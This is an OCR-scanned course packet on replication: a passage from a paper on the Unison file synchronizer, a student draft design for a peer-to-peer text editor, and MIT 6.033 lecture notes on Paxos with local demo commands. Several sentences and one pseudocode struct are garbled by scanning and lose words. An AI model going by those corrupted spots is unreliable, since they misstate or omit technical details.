Crash resistance A run of Unison can be interrupted for many reasons: systems can crash, disks can fill,

phone and power cords can be pulled out, and impatient-users can abort lengthy transfers. To make sure
that data is not lost when these things happen, we work to maintain the following invariant:

At every moment during a run of Unison, every user file has either its original contents, or its
correct final contents.

With this invariant, any interrupted sync is a correct partial sync, and can be completed simply by running
Unison again. : g e

Unfortunately, file system limitations prevent us from doing more than approximating this invariant.
What we need is the ability to replace one file with another in an atomic step. In most file systems, this
isn’t possible, or is possible only under limited circumstances. For example, Posix specifies that a file-to-file
replacement be atomic; however, we find that in practice, file systems don’t achieve this if the files are on
different partitions or different drives. Posix does not allow directory-to-file or file-to-directory replacements
at all. Winm:uot support atomic replacement of any sort.

Unison uses a@?@ to approximate atomic file replacement when it is not provided by the
file system. In the first phase, the Tile to be replaced is renamed to a temporary file, and in the second phase,
the replacement file is renamed to the target file. The temporary file can be deleted after the commit. If
Unison is interrupted in the middle of this process, the invariant will fail—the original file has not been lost,
but it has a different name. The next time Unison is run, it notices that it was interrupted while simulating
the atomic replacement, and it notifies the user of the situation.

Atomic file replacement is needed in two places: when Unison updates a user file, and when Unison
updates its own internal state (the archive).

When Unison needs to update a user file, it first transfers the new version from the other replica to
temporary file. Since this involves network traffic, building the temporary file is not atomic. Once the file is
successfully transferred, Unison uses atomic replacement (or simulates it) to move the temporary file to its
final location.




Unison updates its own archive in much the same way: it first writes the new archive to a temporary file,
then uses atomic replacement (or its simulation) to replace the old archive. Unison might be interrupted
after it has updated a user’s file, but before it has a chance to update its archive. This is no problem: the
next time Unison runs, it will detect that the file has changed in both replicas, notice that the contents are
now equal, and note that the files are in sync when it updates its archive at the end of the run.

Users sometimes run more than one invocation of Unison at once, by mistake. Therefore, we are careful
to prevent concurrent updates to archives using a lock.

Concurrent file system updates Users do not like to wait for synchronizers—they continue ify
files while the synchronizer works. There are two cases to watch out for. First, the user might modify a file

after Unison decides that it should be replaced with the version from the other replica but before it does
so; Unison checks for this by re-fingerprinting the file it is about to overwrite immediately before it does so
(after the new contents has been transferred to a temporary file on the same machine). Second, the user
might modify a file while Unison is in the middle of transferring it to another system; Unison guards against
this by checking that the temporary file on the remote system has the expected fingerprint after the transfer.
If either case is detected, Unison signals a failure for that file.

Once again, file system limitations prevent us from providing complete safety. For example, a user might
open a file that Unison is about to replace. After Unison replaces the file, the user can write to the old file.
However, that file has been unlinked, so when the user closes the file, the changes will be lost. Unlike Unix,
Windows actually prevents the deletion of a file that is open; for safety, that may be the better choice.

%

Update detection Update detection is a safety critical task: if a file has cha\.{lged and Unison does not
detect this, it might mistakenly replace the changed file with a different changed file from the other replica.

Modtimes are not sufficient to detect updates, because they do not change when a file is renamed. For
exmple,ﬁmm:ne, and foo is deleted and bar is renamed to foo, modtimes
would indicate no change to foo. Unix (but not Windows) has inode numbers, which can detect this situation.
But even modtimes plus inode numbers are not 100% safe, because modtimes can be set back (e.g., when
backups are restored). et =

The only sure way to detect updates ig_to use fingerprints: Unison computes the fingerprint for each
file and compares it to the last known fingerprint, which is stored in the archive. However, fingerprints are
slow, and users don’t like to wait. For impatient users who are willing to risk missed updates under certain

conditions, we provide a less-safe update detector based on inode numbers and modtimes for Unix, and an
even-less-safe update detector based only on modtimes for Windows.

Transfer errors Our file transfer protocol uses checksums to make sure that files are transmitted correctly
between computers. This is quite important, because we use complex transfer protocols (like a threaded
rsync—see Section 6) for efficiency. The checksum protects against bugs in our protocol implementation as
well as network failures.

Archive loss Unison’s archive files are just ordinary files that can be deleted by the user; we are careful
to make sure this does not cause any synchronizer failures.

If Unison finds that its archive files have been deleted, or cannot be read, it takes a conservative approach:
it behaves as though the replicas had both been ¢ ty at the point of the last synchronization.
Files that exist only in one replica will be propagated to the other, files that exist in both replicas and are
unequal will be marked as conflicting, and files that exist in both replicas and are equal will be marked as
synchronized. The user will have to reconcile the conflicting files by hand.

Error handling When Unison encounters what looks like an intermittent error (e.g., a corrupted file
transfer), it displays an error message on a per-file basis. If Unison encounters a catastrophic failure (e.g., a
full disk), it simply quits. This is safe: the measures we have taken for crash resistance ensure that no user
data is corrupted.



5 Cross-platform synchronization

Different operating systems often have different file system conventions. For example, they may have different
limits on the length of file names, or different models of file ownership and access control. A cross-platform
file synchronizer that does not take these differences into account can confuse its users, or even corrupt their
files.

Consider, for example, case sensitivity. In Unix file systems, file names are case sensitive: a directory
can hold two different files with names foo and F00. In Windows, on—tfl—e_om&,‘ﬁ.le names are case
insensitive: a directory cannot hold two different files named foo and F00, and if foo exists, it ‘can also be
referred to as F00. Windows displays the file name as it was capitalized wh eated, but disregards case
when accessing the file. If a file synchronizer ignores this detail, i%fﬁ;ﬁﬁbe lost. To see how,
suppose a file foo has been synchronized between Unix and Windows, and subsequently, foo is deleted and
FOO is created on the Unix file system. On the next synchronization, if the file synchronizer does not realize
that foo and FOO refer to the same file under Windows, it may try to: (1) copy F00 to the Windows file
system; (2) delete foo from the Windows file system. In Windows, (1) will overwrite the file foo, and (2)
will delete it, so that there is no file foo or FOO on the Windows file system after synchronization.

Unison resolves differences in file system conventions by using a lowest common denominator approach:
it only synchronizes information that makes sense on both file systems. Sometimes, this means that a file or
file attribute cannot be synchronized at all; if so, Unison displays a message to this effect. In other cases,
some useful information can be passed in one or both directions.

We illustrate this below by examining some differences between Unix and Windows, and showing how

we resolved each of them in Unison.
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Case sensitivity of file names Our solution to the case sensitivity issue described above is to treat both
file systems as case insensitive when synchronizing between Unix and Windows hosts.

When Unison finds two Unix files in the same directory whose names differ only in their capitalization,
it displays a message saying that the files cannot be synchronized to the Windows system, even if there is a
file with one of the names on the Windows system. For example, if there are files foo and F00 on the Unix
side, and there is a file foo on the Windows side, we refuse to synchronize the Unix foo and the Windows
foo. This is because we consider foo and FOO to be the same name—hence, there is no reason to pick the
Unix foo over the Unix FOO.

When Unison finds a file foo on the Unix side and a file FOO on the Windows side, it will synchronize
their contents—we are careful to use a case insensitive string comparison to decide what files matchUp-—Ttris
is important not just in Unix-Windows synchronizations but also im Window-Windows synchronizations.
We also use case insensitive comparisons in deciding what files to ignore (section 8): in a Unix-Windows
synchronization, it is not possible to ignore a Unix file foo while at the same time not ignore a file FOO in
the same directory.

We do not currently synchronize the capitalization of filenames. For example, if foo is synchronized
between Unix and Windows, and it is rerfa?nEiTo/FDOon-Q one side, that change is not propagated by Unison.
In the future we plan to handle this by treating capitalization as a file attribute (like permissions—see below).

Finally, we have to be careful when copying a file from one Teplicato-another. For example, suppose we
want to replace the contents of a file foo on one system with the contents of file FOO on another. We must
be sure to use the target name foo and not FOO. Otherwise, if the target is on a Unix system, we would end
up with two files, the new F0O0 and the old foo.

File permissions In Unix, a file has an owner and a group, and it is possible to specify read, write, and
execute permissions separately for the owner, the group, and all others. Windows 98 (FAT32) files do not
have owners or groups, and it is only possible to specify that a file is read-only or read-wrTte. This means
that owner, group, read, and execute permissions cannot be synchronized ffom Unix to Windows 98; we only
synchronize write permissions.

There are two separate cases to consider: creation of a file, and changes in permissions. When a newly
created file is propagated to a remote replica, the permission bits that make sense in both operating systems
are also propagated. The values of the other bits are set to default values (they are taken from the current



umask, if the receiving host is a Unix system). If a Unix file permission changes, we only propagate it if it
would change the corresponding Windows permission.

Windows NT, 2000, and XP filesystems have a more sophisticated access control system; we have not
yet implemented synchronization of file permissions on these systems.

Symbolic links Windows does not have symbolic links (shortcuts do not work in the same way). When
Unison encounters a symbolic link in a Unix to Windows synchronization, what it does depends on whether
the user has chosen to treat the link as transparent or opaque (see section 8). If the link is considered opaque,
Unison will display a warning that the link cannot be synchronized. If the link is considered transparent,
Unison will synchronize whatever the link points to.

Illegal file names Windows forbids many file names that are allowed in Unix, for example, file names
containing certain characters (e.g., colon, bmksl&hmﬁh&t—eeﬁﬂée{-with Windows device
drivers (e.g., con, prt). Unison displays a warning message when such file names are found on the Unix side,
leaving it up to the user to change the name of the file if desired{
WA« d

Modtimes In Windows, file timestamps have a WMitm while in Unix, they have a 1 second
granularity. This is not a difficulty for update detection, because clocks are only compared locally. However,
it does mean that when synchronizing modtimes between systems, the low-order bit of the modtime must
be ignored.

Line endings In Windows, text files use a newline and carriage return to end lines, while in Unix, lines

in text files end with just a newline. Unison does not currently translate Tine endings when synchronizing
y ——

between Windows and Unix, but this is an oft-requested feature.

The main difficulty in implementing the line ending translation is in the reconciliation phase. When line
endings are being translated, a Unix text file will have a different length and contents than a corresponding
“identical” Windows file. This won’t affect update detection, because updates are calculated locally for both
replicas. However, the reconciliation phase must compare files from both systems, taking each system’s line
ending conventions into account. For example, if a file is modified identically on both the Windows and Unix
file system, the reconcile phase should not indicate a conflict for the file.

This issue can be addressed by using fingerprints calculated by scanning the file in text mode on each
system. Using text mode to scan the file eliminates the difference in the line endings, so that “identical”
files have identical fingerprints.

Cross-platform file systems Samba can mount the file system of one operating system onto another.
When this happens, the file system semantics of the remote mount will be different from the rest of the file
system: it may have different case sensitivity, for example.

To be completely bulletproof, Unison should check for this situation. However, there is little operating
support to do this efficiently. For example, there is no system call to find out the maximum length of file
names in a (possibly remotely-mounted) directory. The best solution that we can think of is to create dummy
files in the directory with longer and longer names, until an error is encountered. This is neither robust (a
file create can fail for many reasons other than a long file name, e.g., lack of write permission) nor efficient.

6 Performance

Network file transfers are expensive, so we have taken several steps to improve their performance.

—

Threads The Unison client and server communicate using a synchronous RPC protocol. We used a
synchronous protocol because they are easier to use than asynchronous protocols, but can be slow,

particularly when there are many round trips. In fact, a file transfer in Unison does require a number of
round trips:
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Figure 2: Unison vs. rsync, propagating many new medium-sized files
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e The data must be transmitted.

» We must check[awkward] that the file was not modified on either the client or server before putting
the file in place, to guard against concurrent updates. e = 1 =

e Once the file is succgsstully updated, a round trip is required so that both the client and server know
this and can update their respective archives.

To avoid the penalty of the round-trip latency, we use a small number of cooperative threads to transfer
several files in parallel. We chose to use cooperative threads because they are not subject to race conditions,
and because they are more portable than native threads. Threading gives a substantial performance increase,
as demonstrated by the measurements in the next section.

Rsync Unison includes an implementation of the rsync protocol [TM96, Tri99], which speeds the transfer
of a file from one system to another when there is a similar file on the target system. This is often the case
in synchronization, where the two files start out as identical and one is edited slightly.

Fingerprinting A fingerprint is a collision-resistant hash of a file; if two files have the same fingerprint,
then it is very unlikely that their contents are different. We use fingerprints in update detection, but they
can also speed file transfers, by making them unnecessary: before transmitting a file, we send its fingerprint
to the other system, where it is compared to the file that we want to replace. If the fingerprints are equal,
presumably the files are equal and we don’t have to transfer the file. This can happen if both files have been
changed identically, or, more commonly, when two identical replicas are synchronized for the first time.

7 Measurements

In implementing Unison we have focused mainly on robustness and following a clear specification. We have
included a few features like fast update detection algorithms and an rsync-based update transfer protocol
that make orders of magnitude differences in performance, but the tool’s low-level performance has not been
extensively tuned. Nevertheless, we present a few benchmarks here to give a rough idea how Unison performs
in comparison with related tools.

The rsync utility [TM96, Tri99] is a mature, robust, and widely deployed tool, and it is used to address
some of the same sorts of replication tasks that are Unison’s bread and butter. It uses the same transport
mechanisms (raw sockets, or tunneling over ssh) as Unison’s, so performance comparisons are easier to
interpret.

The first set of measurements, in Figure 2, compares the simple file transfer capabilities of Unison and
rsync by using both to transfer a collection of medium-sized files (6000 files, totaling 16.6 MB) under different
network configurations. We tested only the ssh-tunneling mode, since the insecurity of the raw sockets mode
in both tools limits its applicability. We ran the tests from a machine in France (Pentium III 800Mhz) to
(1) another replica on the same machine, (2) another machine on the same local network (Pentium IIT 500
Mhz), and (3) a remote machine server (Sun Enterprise 3000, UltraSPARC 4x250Mhz) in Philadelphia.
The local network was a 100Mbits/s Ethernet. The latency over the Internet connection was about 130ms
(round-trip), and the bandwidth was about 150KB/s.



(Full transmission)

Uncompressed | With ssh compression | Small change
One file 80s 30s 6s
Two files 135s 35s 9s
Three files 220s 50s 12s
Four files 290s 70s 15s

Figure 3: Effects of rsync algorithm on large file transfers

For the internet connection, we give three separate numbers: the first line shows the transfer times
for Unison and rsync using ssh with its default parameters. The second shows the same transfers with ssh
compression enabled. (By way of comparison, gzipping the files used for the test reduces their size by about a
factor of five.) The final line shows Unison’s performance when the multi-threaded transfer feature described
in Section 6 was disabled; this measurement makes it clear that threads are critical to achieving good results
over a high-latency link.

Unison is much slower than rsync on a single machine and on a local network. We conjecture this is
mostly due to the fingerprints that Unison computes for robustness (cf. Section 4)—checking that a file is
unchanged before propagating it, then checking after transfer that the copy is not corrupted. At about 1Mb
per second, Unison’s performance is still acceptable for local transfers.

For internet transfers, Unison and rsync perform comparably. There is a huge performance improvement
with compression, showing that Unison is bandwith-limited, despite the high latency (130 ms round-trip) of
the network connection.

The next set of measurements, in Figure 3, shows how Unison’s implementation of the rsync algorithm
improves the propagation of small changes to large files. This is an important case for Unison (e.g., large
mailboxes with a few messages added to the end fit this pattern). The figure shows total transmission times
for one, two, three, and four large (4.5Mb) files after different kinds of changes. In the first two columns, the
contents of the file are completely changed, so that the rsync algorithm is not helping at all; we show both
the uncompressed transmission time and the time with ssh compression enabled. For the third column, a
single line was added to the end of the file—an ideal case for the rsync algorithm.

When there are more than two files, the full transmission time grows linearly. Sending only one file is
proportionally slower since, in the current implementation, the contents of each file are transferred sequen-
tially using synchronous RPC. As might be expected, the rsync algorithm gives a huge improvement for files
with small changes. ‘ '

The standard rsync program is much faster than Unison for this task: it takes about 1.5s to transfer
three files with small changes. We have two ideas for how this difference can be explained. First, Unison’s
implementation of the rsync algorithm has not been carefully tuned. Second, the current implementation
sends huge checksum tables, while rsync trims the checksums to provide just enough information to prevent
the probability of transmission failure from becoming too high.

Typically, between runs of Unison only a few files will have changed, relative to the total size of the
replicas. In this case, update detection takes a large proportion of the total synchronization time. Getting
good numbers for update detection times turns out to be quite tricky: times can vary widely depending on
how scattered the inodes are on the disk, how many are cached in memory, etc. However, Figure 4 gives
a rough indication, showing ballpark times for update detection on replicas of three sizes. (Incidentally,
Unison’s archive file for the large replica was about 6Mb. Loading it took about 2s at the beginning of each
run.) We expect Unison’s performance on large replicas with few changes to scale better than rsync’s, since

the checks performed by Unison are local to each host, while rsync requires some communication for each
file.

8 Refinements

This section discusses a number of useful refinements to the core functionality described above.
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Total size | Files | Update detection time
small replica 12Mb 2K 2-10s
medium replica 400Mb [ 50K 30-90s
large replica 2Gb | 100K 2-5 minutes

Figure 4: Update detection times for various replica sizes

Fas
foo 7N bar foo ’\

Figure 5: Two synchronized replicas. Links are displayed as dashed arrows, and non-links are displayed as
solid arrows. Link foo is treated opaquely: the contents of the directory it points to are not synchronized
between the replicas. Link bar in the replica on the left is treated transparently; it is synchronized with a
directory (not a link) in the replica on the right. The contents of directory bar on the right are synchronized
with the contents of the directory pointed to by bar on the left.

File permissions Unison can synchronize the permissions of a file as well as its contents. For security
reasons, however, we don’t synchronize the Unix setuid and setgid bits, or the Unix owner and group
ids by default (because an id can correspond to two different users on two different systems). All files are
created with the owner and group of the Unison process.

Read-only permissions require some care. For example, if a directory and its children are changed from
read-write to read-only, then we synchronize the permissions of the children before we synchronize the
permissions of the directory itself. If this were done in the opposite order, Unison would fail when it tried
to change the permissions of the children.

More information on how we synchronize permissions between operating systems with different access
control systems is given in Section 5.

Ignoring files Users often find that their replicas contain files that they do not ever want to synchronize—
temporary files, very large files, old stuff, architecture-specific binaries, etc. Unison lets users specify what
files it should ignore using regular expressions.

Symbolic links Ordinarily, Unison treats symbolic links in Unix replicas as “opaque”: it considers the
contents of the link to be just the string specifying where it points, and it will-propagate changes in this
string to the other replica. This works well for a link that points to another place within the replica, or for
links that point to files and directories that are outside the replica, but are replicated on the two systems
(by Unison or by some other means).

Sometimes, it is useful to treat a symbolic link “transparently,” acting as though whatever it points to
were physically in the replica at the point where the symbolic link appears. For example, if a symbolic link
is synchronized opaquely with a Windows replica, then the file(s) accessible through the link on the Unix
replica won’t be available on the Windows system. Instead, we would like the Unix link to be synchronized
with a Windows copy of the directory that the link points to. Opaque and transparent links are illustrated
in Figure 5.

Unison lets users specify whether a given link should be treated opaquely or transparently (using regular
expressions).

11



Modtimes Unison can synchronize modification times of files, but this is not always a good idea. For
one thing, clock skew is inevitable between any two computers. A file changed in the slow replica can cause
its modtime in the fast replica to move backwards. Modtimes that move backwards can confuse software
that uses them to detect when files change, like make, or Unison itself. (Unison can cope with this by using
fingerprinting to detect updates rather than modtimes, but this is expensive.)

Synchronizing modtimes for directories is also quite difficult. In Unix, a directory’s modtime changes
every time a file in the directory is touched. So, when Unison synchronizes a file in a directory, the modtime
of the directory is disturbed; if we want to synchronize the modtime of the directory, we must re-set it. This
in turn disturbs the modtime of the parent of the directory; and so on. It is hard to get this right, and it is
hard to do it efficiently; for those reasons, we never synchronize directory modtimes in Unison.

A final problem is that different operating systems may have different clock granularities; Section 5
explains how we handle this.

9 Related work

A sizable body of research in distributed databases and operating systems is related to the work described
here [DGMS85, SKK 190, Kis96, GPJ93, DPS*94, RHR*94, PJG*97, etc.]. The overall goals of all of these
systems (especially of distributed filesystems such as Ficus, Bayou, Coda, and LittleWork) are similar to those
of Unison. The main differences are that the synchronization operations in these systems are intended to be
transparent to the user (they are built into the OS rather than being packages as user-level tools), and—a
related but more important point—that they adopt a log-based perspective in which the synchronizer can see
a trace of all filesystem activities, not just the final state at the moment of synchronization. Rumor [Rei97]
and Reconcile [How99], on the other hand, are user-level synchronizers and share our static approach. Both
of these go further than Unison in one significant respect: they seriously address multi-host synchronization,
using “gossip architectures.” Simpler user-level synchronizers for Unix platforms include Bal [Chr97] and
XFiles (http://www.idiom.com/~zilla/Xfiles/xfiles.html).

Specifications of synchronizers are much less common than implementations. Other than our own early
spec [BP98], we am only aware of Norman Ramsey’s “algebraic approach” to synchronization [RCO01] (this
work was inspired by ours and has similar aims, but uses a log-based approach) and a newer project at
Microsoft Research led by Marc Shapiro [SRKO00], which also adopts a log-based approach but addresses the
more general problem domain of constructing a “reconciliation middleware” platform that can be used by
arbitrary application programs.

A different piece of related work is the SyncML standard [Syn| recently proposed by an industrial consor-
tium of computer and PDA manufacturers (including Panasonic, Nokia, Eriksson, Starfish, Moterola, Palm;
IBM, Lotus, and Psion). SyncML is more a protocol specification than a system specification: it is mainly
concerned with making sure that the devices engaging in a synchronization operation are speaking the same
language, rather than with constraining the overall outcome of the operation. Another major difference is
that SyncML deals only with flat record structures (mappings from atomic record-identifiers to records of
simple data). Multiple data formats on different devices (related to our cross-platform goals) are supported,
but only via application-specific mappings that are regarded as outside the purview of the specification.

10 Conclusions

Our experiences designing and building Unison have taught us many small lessons and a few larger ones.
Perhaps the most surprising has been how courageous many people are about trying out little-tested and
obviously dangerous tools on their own home directories. Another, less surprising observation has been that,
although the principled approach we have adopted has been fairly expensive (we have spent a lot of time at
the blackboard that we could have spent at the keyboard), being principled has also led us to many solutions
that would probably not have been possible otherwise: it would have been extremely difficult to understand
all of the interacting features of the current design without a firm conceptual foundation.
[Weak:]Naturally, there is much more work to be done. The extension we are working on hardest at
the moment is trying to extend the intuitions gleaned from the Unison effort to the more general problem
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of synchronizing arbitrary structured data (in the form of XML). Another attractive direction is finding
minimally intrusive ways to make a user-level file synchronizer cooperate with the underlying OS to achieve
better performance (in particular, much faster update detection). Finally, we are exploring extensions of our
design to deal with multiple-replica synchronization.
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Introduction

Users would like to collaborate on a text document without using a central server or
needing to be online all the time. We propose the design of a peer-to-peer text editor to
fulfill this demand. The editor allows users to edit text offline and then reconcile the text
with their teammates. The text editor supports both written text and code.

The system requires that each machine have a unique machine name and a synchronized,
accurate system clock.

Data Structure

The basic unit of the document is a line. In code this is simply one line of code, butina
written text document, one line is equivalent to a paragraph when word wrap is enabled.
Line structures a reference to the text in the line, an index showing the line's position in the
document, and a unique ID. This line ID is the hash of the timestamp and machine name,
making it effectively random. Lines have the following pseudocode:

struct Line ({
lohg  14:
char* text;
int position;

}

Each line has a version vector associated with it. Every time a line's text or position is
changed, its version vector is updated at the position corresponding to the host who made
the change. When the line is repositioned in the text editor (via cut-and-paste), only
position changes; the line ID is maintained. A documentis stored as a linked list of line IDs
in memory. On disk, the document is saved by serializing the linked list structure.

Reconciliation

When two users are connected over the same network, the text editor will automatically
reconcile their data. The system only supports pair-wise reconciliation. In larger
networks, pairs will reconcile individually until the entire network reaches equilibrium.

The system will transfer (?correct) a linked list of line IDs with their version vectors. If one
version vector is temporally later than the other (all of its components are greater), then
that vector's corresponding unit will be used in the merged document. If the version
vectors are concurrent, then the editor compares the two changed units to the unit from a
record copy of the file taken at the last reconciliation (??); if one host only changed position
while the other only changed text, those changes can be merged. If the new version of
position or text is identical (both users made the same change), the editor simply uses that
new change. If there are two conflicting changes to either position or text, then the editor
will require manual resolution.

In-Line Reconciliation
(how does it do that?)



If both users edit different parts of the line, the system merges those changes without
conflict.

If both users make the same change, the system processes the changes without conflict, by
realizing that the new version of position or text is the same in both users' versions.

Ul of Text Editor

Users can save a document, writing it to disk as in any other editor. They can also perform a
commit, which creates a version of the document (with a name provided by the user), and
makes it visible to other users (?? this needs work)

The document reconciles when clicks the save/refresh button. When the button is pressed,
the document attempts to reconcile. (what does this mean for our deigns - how to handle a
user not clicking the button - who does it connect to - how to control this?)

The text editor does not support showing the cursor of the other people editing.

Conflict Resolution Ul
When the system encounters concurrent version vectors, it is not able to reconcile the
changes by itself, so it will present a conflict resolution user interface dialog.

Scenarios

Our design for a Peer-to-Peer text editor supports various scenarios.

If two users each make changes to different paragraphs, the system will take the latest
version of each paragraph without conflict.

If two users both change the same line, the changes will be resolved using the in-line
difference detector. These may be able to be resolved automatically, or may require a
conflict resolution Ul (describe). If both users make the same change, those changes will
be processed without conflict. The resolved line will be marked with the new, updated
timestamp. This way when users with older versions of the document try to reconcile that
line, the newer version will be used.

If a user moves a line, and another user edits that line, those changes will be reconciled
without conflict.

Committing
The commit system is two-phase both users must agree before an actual commit occurs.

When a user attempts to commit, the system will check the online status of each user.
Those who are online will see the initiator’s request to commit. For those offline, the
message will be stored so that it appears once those users are online.

Each user must agree to the commit before it occurs. The first time a user says “No” to the
commit, the process will be aborted. In the event that all users agree to commit, a log will
be updated to reflect through a checkpoint. In the event of a failure, the log will be read so
that the commit will go through once the system is back up.

In the event that the commit has been agreed to by all parties but some are offline, the
users that are online will have their files updated. Those who are offline will be updated



upon coming back online. Once all the users’ files are updated, the commit will have taken

place.
Only one commit at a time can be initiated.
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. ' tate machines
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Nickolai Zeldovich

6.033 Spring 2012 Charity: Greater Boston Food Bank

Propose(V): \
choose unique N, preferably N > Np
send Prepare(N) to all nodes
if Prepare_OK(Na, Va) from majority:
V' = Va with highest Na, or V if none - Proposer * Pessimistic replication: single-copy semantics
send Accept(N, V') to all nodes
if Accept_OK(N) from majority:

Paxos Summary

send Decided(V') to all ) « Replicated state machines provide single-copy
Prepare(N): \ » Key issue: agreeing on order of operations
if N> Np: » Hard case: network partition
Np =N
reply Prepare_OK(Na, Va)
 Acceptor « Paxos allows replicas to reach consensus,
ACF;BI\?’;(% V): in presence of machine and network failures
if N = Np:
Na=N,Va=V
reply Accept_OK(Na, Va) ),

s
—~"
=~



1 of 3

6.033 2012 Lecture 20: Replicated srtate machines

Topics:
Replicated state machines.
Paxos.

Administrivia.
Quiz 2 solutions posted.
[ slide: 6.033 for Big Screw ]

Fault-tolerance.

Previous lecture: optimistic replication, tolerated inconsistency.
This lecture: pessimistic replication, prevent inconsistency.

Why is pessimistic replication necessary?
Some applications may prefer not to tolerate inconsistency.
E.g., a replicated lock server, or replicated coordinator for 2PC.
Better not give out the same lock twice,
Better have a consistent decision about whether transaction commits.
Trade-off: stronger consistency with pessimistic replication means
lower availability than what you might get with optimistic replication.

Recall, problem with optimistic replication: replicas get out of sync.
One replica writes data, another replica doesn't see the changes.
This behavior was impossible with a single server.

Ideal goal for replicated system: single-copy consistency.
Property of the externally-visible behavior of a replicated system.
Operations appear to execute as if there's only a single copy of the data.
Internally, there may be failures or disagreement, which we have to mask.
Similar to how we defined serializability goal ("as if executed serially").

Replicating a server (e.g., a file server).
[ diagram: two clients, two servers )
Strawman: clients send requests to both servers.
Tolerating faults: if one server is down, clients send to the other.

Tricky case: what if there's a network partition?
[ diagram: client 1 reaches server 1, client 2 reaches server 2
Each client thinks the other server is dead, keeps using its server.
Bad situation: not single-copy consistency!

Handling network partitions.
Issue: clients may disagree about what servers are up.
Hard to solve with just 2 servers, but possible with 3 servers.
Idea: require a majority (strictly over half) servers to perform operation.
In case of 3 servers, 2 form a majority.

If client can contact 2 servers, it can perform operation (otherwise, wait).

Thus, can handle any 1 server failure.
Why does the majority rule work?
Important property: any two majority sets of servers must overlap.
Suppose two clients issue operations to a majority of servers.
Must have overlapped in at least one server, will help ensure single-copy.

[ demo: replicating a server that tracks bank accounts ]

Two terminals, one on top of another, both with rxvt-font.sh xft:Monospace-18

top% cd rsm
top% less srv.py
top% ./srv.py /tmp/a 5001

bottom% less client.py
bottom% ./client.py 5001
o o

bottom% cat /tmp/a

e

top% rm /tmp/a

top% ./srv.py /tmp/a 5001 &
top% ./srv.py /tmp/b 5002 &

bottom% ./client.py 5001 5002
20

bottom% cat /tmp/a

bottom% cat /tmp/b

## multiple clients: what goes wrong?
bottom% ./client.py 5001 5002 &
bottom% ./client.py 5001 5002

~S when first error appears

~“Q to resume

2C

bottom% fg
& 0

Problem: replicas can become inconsistent.
Issue: clients' requests to different servers can arrive in different order.
How do we ensure the servers remain consistent?

http://web.mit.edw/6.033/www/lec/120.txt
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Replicated state machines.
A general approach to making consistent replicas of a server:
- Start with the same initial state on each server. .
- Provide each replica with the same input operations, in the same order.
- Ensure all operations are deterministic.
E.g., no randomness, no reading of current time, etc.
These rules ensure each server will end up in the same final state.

Simple implementation of RSM: replicated logs.
[ diagram: each server has a log consisting of Wx, Ry )
Log contains client operations, including both writes and reads.
Log entries are numbered.

Key issue: agreeing on the order of operations. )
[ diagram: coordinator receives operations from clients, sends to replicas
Coordinator handles one client operation at a time.
Coordinator chooses an order for all operations (assigns log sequence number) .
Coordinator issues the operation to each replica.
When is it OK to reply to client?
Must wait for majority of replicas to reply.
Otherwise, if a minority crashes, remaining servers may continue without op.

[ demo: coordinator ]
top% kill %1
top% kill %2
top% rm /tmp/a /tmp/b
top% ./srv.py /tmp/a 5001 &
top¥ ./srv.py /tmp/b 5002 &
top% ./coord.py 5099 5001 5002

bottom% ./client.py 5099 &
bottom% ./client.py 5099 &
bottom% jobs

bottom% kill %1
bottom% kill %2

Replicating the coordinator.
Tricky: can we get multiple coordinators due to network partition?
Tricky: what happens if coordinator crashes midway through an operation?

Paxos: fault-tolerant consensus.
Set of machines can agree on one value.
E.g., X is the next operation that everyone will execute.
E.g., Y is the next coordinator.
Works despite node failures, network failures, delays.

Correctness:

All nodes agree on the same value.

The agreed-upon value was proposed by some node.
Fault-tolerance:

If less than N/2 nodes fail, rest should reach agreement w.h.p.

Liveness not guaranteed (may take an arbitrarily long time).
Assumes fail-stop machines.

Each machine runs three logical functions in Paxos:
Proposer: tries to convince acceptors to agree on some value
(e.g., an operation it just received from a client).
Acceptor: persistently tracks proposals, vote on proposals.
Learner: does something with the value, once agreement is reached
(e.g., just the local RSM replica, which executes the chosen operation).

Using Paxos to reach consensus on operation order.
Consider a single log entry (e.q., log entry #5).
OK for any given replica not to know what operation is #5 yet.
But all replicas that know about #5 must agree on what it is.
Plan: run a separate instance of Paxos to agree on each entry (including #5).

Intuition for why fault-tolerant consensus difficult.

Strawman l: proposers agree on a single acceptor they will propose to.
Acceptor approves the first proposal it receives, and rejects all others,
Correct because only a single acceptor.

Problem: not fault-tolerant!

Strawman 2: proposers send proposal to all acceptors.

Each acceptor approves the first proposal and rejects all others.
Proposers declare victory after approval from majority of acceptors.
Correct because there's only one majority, so at most one winner.
Problem: noone might get a majority, if we have 3 proposers!
Problem: proposer might get majority and then crash!

Paxos: two phases for consensus.
Prepare: agree on a proposal number (value might not be decided yet).
Accept: agree on a value, for given proposal number.

Think of proposal numbers as different attempts to reach consensus.
If one attempt fails (e.g., 3 proposers can't get majority),
try again with a larger proposal number.
Key requirement: if an earlier proposal number accepted a value,
have to make sure later proposals accept the same value.

http://web.mit.edw6.033/www/lec/120.txt

4/29/2012 3:08 PM
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Paxos state maintained by acceptor (persistent across reboots):
Np: largest proposal number seen in Prepare.
Na: largest proposal number seen in Accept.
Va: value accepted for proposal Na.

[ slide: Paxos |

Example 0: Paxos accepting value 'x' with one proposer.
Al: Prep(l0)->0K,None Acc(l10, x)->0K
A2: Prep(10)->0K,None Acc(10, x)->0K
A3: Prep(l10)->0K,None Acc(l10, x)->0K

Note: node ID is part of proposal number, for unigueness.

What is the commit point -- i.e., when is the value 'xz' chosen?
Majority of acceptors write the corresponding Na / Va to disk.

What if the Accept message to one of the acceptors is lost?
Before majority of acceptors wrote to disk -> no consensus yet, fine.
After consensus -> proposer can start a new round, will pick same Va.
Why? At least one Prepare OK reply will include that Va.

Example 1: Paxos with two proposers, choosing between 'x' and Tyt
One proposer has N=10, another has N=11 (2.g., low bits are the node ID).

Al: Prep(10) Prep(ll) Acc(l0, x} Acc(ll, y)
AZ: Prep(10) Prep(11l) Acc(10, %) Acc(ll, y)
A3: Prep(10) Prep(11) Acc(10, =} Accill, y)

Both proposals were OKed by Prepare; can Paxos accept x and then vz
Steps:
First proposer issues Prepare, gets Prepare OK.
Second proposer issues Prepare, gets PreparE_OK.
Second proposer sends out Accept, gets consensus.
First proposer sends out Accept, but gets ignored (proposal number is low)!
Key point: Accept() checks if it heard about a newer proposal.
If it has, then the older proposal number loses: Accept(10, =) will reject.
If it hasn't, will remember the accepted value: e.g., Prepare(ll) is later.
Then, any newer Prepare() will learn about x.

Example 2: Paxos with proposer crashing after majority of Accepts are processad.
Al: Prep(10) Acc(10, x) Prep(ll) Acc(ll, =x)
A2: Prep(10) Acc(10, x) Prep(ll) Acc(ll, x)
A3: Prep(10) Prep(1l}) Acc(ll, x)

